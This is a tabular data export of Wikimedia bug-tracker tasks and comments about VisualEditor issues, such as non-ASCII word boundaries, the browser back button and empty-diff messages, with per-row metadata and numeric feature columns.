+214011,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,To begin with a patch to add some test structure and fix what we have already: https://gerrit.wikimedia.org/r/#/c/53564,,,1363182596,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0
+214005,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,http://xregexp.com/ has unicode character class support. We may be able to pick out the data we need from it instead of using the whole library.,,,1363178581,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+213999,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,Acutually Chinese & Japanese don't have any word boundaries at all. The only way to detect them is with a dictionary. We'll need a special case for these languages so we don't end up selecting entire sentences.,,,1363176312,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+213992,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"Bit of clarification:
+
+When the user clicks the link button in the toolbar and they haven't selected any text, we expand the selection in both directions from the cursor position and select the word the cursor is in, make that a link, then show the link inspector. The code that expands the selection to a full word is in ve.dm.SurfaceFragment, and apparently treats non-ASCII characters as word boundaries. The practical bug that this leads to is that if you put the cursor in the middle of ""Möckernbrücke"" (or ""égalité"", if you prefer French) and click the link button, only ""ckernbr"" (or ""galit"", respectively) will be selected and linkified. Obviously this is a problem for i18n in languages using an extended Latin alphabet like German, French and Polish, but it's a total nightmare for non-Latin languages like Russian, Hebrew and Japanese.",,,1363054412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,False,,,-16,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+46084,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs","Related to bug 44083
+
+Because there is not yet a paragraph to insert content in, the link inspector won't be able to insert the new link text into a slug, even if bug 44083 is fixed.
+
+The solution is probably to make the automatic paragraph insertion code in ve.ce.Surface.handleInsert more generic and moving it into ve.dm.SurfaceFragment.insertContent, triggered when inserting at a slug location.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44083",High,80.0,1358467500,1372462623.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-iw27jj4bhfweo22d2lg4,task_description,resolved,True,c1,1,False,False,True,-24,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+213964,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs",This has now been fixed and deployed.,,,1372462623,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iw27jj4bhfweo22d2lg4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+213958,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs",Noting that this is more severe.,,,1372253678,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iw27jj4bhfweo22d2lg4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0
+46083,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"1. Make an article that begins with an alien followed by a paragraph with some text
+2. Click on a word in the paragraph
+3. Click on the slug
+4. Press the link button
+5. See that rather than the link inspector knowing to begin inserting a new link inside the slug, it inspects the word you clicked on in the paragraph.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44084
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50141",High,80.0,1358467260,1383060862.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-6nqkzsnqx67qeicoilm6,task_description,declined,True,c1,1,False,False,False,-24,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+213923,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,Actually closing it.,,,1383060862,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+213916,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"Confirming that this is now fixed, and was done so some time ago - back-dating to approximately when I think it was fixed.",,,1382654223,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,16,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+213908,VisualEditor: Placing the cursor in a slug doesn't cause a contextChange event,"Hm.. I can't reproduce this.
+
+
+1. Opening a MediaWiki page with the following source in VisualEditor:
+
+<<<MW
+<templatedata>{
+    ""params"": {}
+}</templatedata>
+
+Foo bar baz.
+MW;
+
+2. Selecting word ""bar"".
+3. Clicking in the slug area above the green templatedata alien.
+4. Pressing the link button.
+
+Shows a link inspector with an empty input field. Upon entering some text in the link input widget and closing the link editor, the link target page is inserted as plain text (different bug?)",,,1380747300,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6nqkzsnqx67qeicoilm6,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+46012,"VisualEditor: Key commands should be ""platform-able"".","Key commands should be able to vary based on language/locale and platform. E.g. toggling something as Bold could be:
+
+* Ctrl + b (Windows, English)
+* Cmd  + b (Mac OS X, English)
+* Meta + b (Solaris, English)
+
+* Ctrl + f (Windows, German)
+* Cmd  + f (Mac OS X, German)
+* Meta + f (Solaris, German)
+
+... etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42919",High,80.0,1358279820,1358469781.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-obbqrn6j222whjin4fm6,task_description,resolved,True,c1,1,True,False,True,-24,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+209736,"VisualEditor: Key commands should be ""platform-able"".","Now merged, will go out in 2013-02-04 release cycle.
+
+Note that the internationalisation aspect (Ctrl+F rather than Ctrl+B for Bold in German) is WONTFIX as directed by the Language Engineering team, who advised against.",,,1358469781,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-obbqrn6j222whjin4fm6,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+209730,"VisualEditor: Key commands should be ""platform-able"".",Patched in https://gerrit.wikimedia.org/r/#/c/44347/,,,1358375043,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-obbqrn6j222whjin4fm6,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+45893,VisualEditor: Clean up canHaveGrandchildren mess,"""Can have grandchildren"" is a misnamed check that should be cleaned up. What it really appears to mean is ""is this a non-content-containing branch node"", given that it checks that the node can have children, is not content, and is not a content container.
+
+canHaveGrandchildren seems to still be used in some places, it should be renamed and documented adequately.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1357966200,1363626201.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-xzuyfy5phfxcgoae52f6,task_description,resolved,True,c1,1,False,False,True,-25,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+227485,VisualEditor: Clean up canHaveGrandchildren mess,https://gerrit.wikimedia.org/r/#/c/53750/,,,1363266054,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xzuyfy5phfxcgoae52f6,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+45844,VisualEditor: Browser back button should work as expected,"We should use pushState such that pressing the back button after clicking VisualEditor takes you back to read mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1357863540,1397067880.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_description,resolved,True,c1,1,False,False,False,-25,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+224881,VisualEditor: Browser back button should work as expected,"(In reply to Lokal_Profil from comment #11)
+> (In reply to Andre Klapper from comment #10)
+> > Lokal_Profil: Where? Example link? Browser? Reopening not helpful without
+> > giving instructions to reproduce... :-)
+> 
+> Sorry ;)
+> 
+> Confirmed in both Firefox and Chorme running on Ubuntu
+> 
+> Tested on both sv.wp[1] and en.wp[2] (logged out on sv.wp to make sure no
+> personal settings were affecting it)
+> 
+> [1] https://sv.wikipedia.org/wiki/Bonsai?uselang=en
+> [2] https://en.wikipedia.org/wiki/Bonsai
+
+Moved to bug 63739 as a new regression.",,,1397067880,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,True,,,40,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+224876,VisualEditor: Browser back button should work as expected,"(In reply to Andre Klapper from comment #10)
+> Lokal_Profil: Where? Example link? Browser? Reopening not helpful without
+> giving instructions to reproduce... :-)
+
+Sorry ;)
+
+Confirmed in both Firefox and Chorme running on Ubuntu
+
+Tested on both sv.wp[1] and en.wp[2] (logged out on sv.wp to make sure no personal settings were affecting it)
+
+[1] https://sv.wikipedia.org/wiki/Bonsai?uselang=en
+[2] https://en.wikipedia.org/wiki/Bonsai",,,1395932065,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+224873,VisualEditor: Browser back button should work as expected,Lokal_Profil: Where? Example link? Browser? Reopening not helpful without giving instructions to reproduce... :-),,,1395925983,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,True,,,38,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+224869,VisualEditor: Browser back button should work as expected,This seems to be broken again (back button changes URL but doesn't take user back to read state),,,1395924522,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,3,False,,,38,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+224863,VisualEditor: Browser back button should work as expected,Merged and will go out with wmf7 (from tomorrow).,,,1371042698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+224856,VisualEditor: Browser back button should work as expected,*** Bug 49336 has been marked as a duplicate of this bug. ***,,,1370840639,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+224847,VisualEditor: Browser back button should work as expected,Related URL: https://gerrit.wikimedia.org/r/67172 (Gerrit Change I5c345c1526852a84b04436955845bf1b56d94402),,,1370472014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+224838,VisualEditor: Browser back button should work as expected,Related URL: https://gerrit.wikimedia.org/r/67171 (Gerrit Change Ia4b949d9c066a3f7b07217aa3d51de9908734e85),,,1370472012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+224829,VisualEditor: Browser back button should work as expected,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298472,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+224824,VisualEditor: Browser back button should work as expected,"We currently use ?veaction=edit as trigger for VisualEditor from a permanent url.
+
+This is implemented by checking the query parameter on page load and triggering init (just like a click on ""VisualEditor"" would do), and then we replace (without refresh) the url to drop this query parameter using the HTML5 History api (replaceState).
+
+I'd recommend we build on this by using pushState when VisualEditor is initialised (we can then remove the current behaviour as there's no longer any reason to remove it from the url).
+
+Note that it is slightly more complicated than just calling replaceState on init. We also need to listen on('popstate') to move back to read mode if the user presses Back to a url within the history that contains HTML5 history state data from VisualEditor.",,,1368496708,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+224816,VisualEditor: Browser back button should work as expected,"To further clarify what the issue here is:
+
+* a user visits <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals>;
+* user clicks ""edit"";
+* VisualEditor form loads;
+* user tries to escape the form by pressing the ""back"" button in his/her browser;
+* browser's ""back"" button doesn't work as expected (it should take the user back to the implicit view action where he/she started).",,,1368496497,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+224810,VisualEditor: Browser back button should work as expected,Is this an easy bug?,,,1368496332,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b2euwwfrbpmnfl2aq75y,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+45754,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message","When the diff result is null (no changes), don't show a confusing blank diff but instead a message like ""There are no changes detected in your edit"" so that users aren't confused.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1357693440,1368575229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_description,resolved,True,c1,1,True,False,True,-25,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+219476,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Merged; re-closing.,,,1368575229,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+219472,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Related URL: https://gerrit.wikimedia.org/r/63691 (Gerrit Change I537bcae91f51a3f30ca4736c41f7a5619bbf321d),,,1368553503,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+219467,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Re-opening to provide less hacky fix.,,,1368553470,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+219463,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Merged into master and will go out in wmf4.,,,1368311679,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+219458,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Related URL: https://gerrit.wikimedia.org/r/63236 (Gerrit Change I8daae124b060ccf54ce5ca7c1e1a6d18b7265ade),,,1368225175,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+219453,"VisualEditor: When the diff result is null (no changes), don't show a confusing blank diff but instead a message",Working on this now.,,,1366738661,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-tbgpmmiggp5mn7bvnvbe,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+45543,VisualEditor: Whitespace preservation for list items not working,"For whatever reason (may be a bug in the DM, or in the seralizer, or in selser), whitespace preservation didn't work in this edit https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=530666305&oldid=526301045 . The whitespace changes didn't show in the initial diff I was asked to verify, only in the final change.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1356989040,1366206699.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-jrdnntjfzxsr3v7pxbff,task_description,resolved,True,c1,1,False,False,True,-26,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
